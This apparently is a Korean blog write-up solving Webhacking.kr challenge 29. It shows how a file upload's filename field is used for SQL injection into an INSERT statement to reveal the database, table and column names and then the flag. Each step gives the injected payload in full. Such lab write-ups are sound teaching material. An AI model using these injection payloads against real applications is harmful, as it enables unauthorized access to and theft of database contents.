문제페이지는 해당 페이지와 같다.
페이지에는 파일을 업로드 하는 부분과 time, ip, file 의 목록이 존재한다.
그리고 FLAG 가 다른 테이블에 존재한다는 내용이 출력되어 있다. 해당 문제는 Flag 가 존재하는 테이블을 찾으면 풀릴 듯하다.
임의로 test.txt 라는 파일을 업로드 시켜보면 목록이 하나 추가되는 것을 볼 수 있다.
Burp suite 를 이용하여 SQL 인젝션 공격을 시도해본다.
1. time / ip / file 의 insert 되는 순서를 일아본다.
INSERT INTO 테이블명 VALUES (‘a’, ‘b’, ‘c’), (‘d’, ‘e’, ‘f’);
INSERT 문은 다중으로 데이터를 저장할 수 있기 때문에 이를 이용하여 INSERT 순서를 알아본다.
패킷의 filename 의 값을 목록의 순서대로 입력하여 넣어본다. (time/ip/filename)
하단의 INSERT 문이 되도록 filename을 변경한다.
INSERT INTO 테이블명 VALUES (‘1234’, ‘나의ip주소’, ‘test1’);
filename="1234', '나의 IP 주소', 'test1')#"
해당 순서로 insert 하면 에러가 뜨는 것을 확인 할 수 있었다.
패킷의 filename 의 값을 목록 순서를 변경하여 입력하여 전송해본다. (filename/time/ip)
INSERT INTO 테이블명 VALUES (‘test2’, 1234, ‘나의ip주소’);
filename="test2', 1234, '나의 IP 주소')#"
해당 순서로 전송한 경우 업로드가 성공하고 목록에 test2 파일이 추가되는 것을 확인할 수 있다.
2. 데이터 베이스명 추출하기.
INSERT 구문에 filename value 값에 SELECT 구문을 넣어 데이터 베이스 명을 알아본다.
INSERT into 테이블명 ('test3', 1234, '나의ip주소'),((SELECT database()), 1234, '나의ip주소')
filename="test3', 123, '나의 IP'),((SELECT database()), 123, '나의 IP')#"
filename 추가된 값을 통하여 데이터 베이스명이 chall29 라는 것을 알아냈다.
3. 테이블 명 추출하기
INSERT 구문에 filename value 값에 SELECT 구문을 넣어 테이블명을 알아본다.
INSERT into 테이블명 ('test4', 1234, '나의 ip 주소'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 1234, '나의 ip 주소')
filename="test4', 123, '나의 IP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '나의 IP')#"
테이블은 files 와 flag_congratz 이 존재한다는 것을 확인할 수 있다.
FLAG 가 존재하는 테이블은 flag_congratz 일 듯하다.
4. 컬럼명 추출하기
INSERT 구문에 filename value 값에 SELECT 구문을 넣어 칼럼명을 알아본다.
INSERT into 테이블명 ('test5', 1234, '나의ip주소'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 1234, '나의ip주소')
filename="test5', 123, '나의 IP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '나의 IP')#"
칼럼명은 flag 라는 것을 알 수 있다.
5. flag 값 추출하기
INSERT 구문에 filename value 값에 SELECT 구문을 넣어 flag 값을 알아본다.
INSERT into 테이블명 ('test6', 1234, '나의ip주소'),((SELECT flag FROM flag_congratz), 1234, '나의ip주소')
filename="test6', 123, '나의 IP'),((SELECT flag FROM flag_congratz), 123, '나의 IP')#"
FLAG 값을 알아내었다.
Webhackng.kr 의 Auth 메뉴로 이동하여 해당 값을 입력하면 문제가 풀린다.
'프로젝트 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge(old) 49번 문제 (0) | 2021.07.19 |
---|---|
[Webhacking.kr] Challenge(old) 46번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 34번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 32번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 44번 문제 (0) | 2021.07.14 |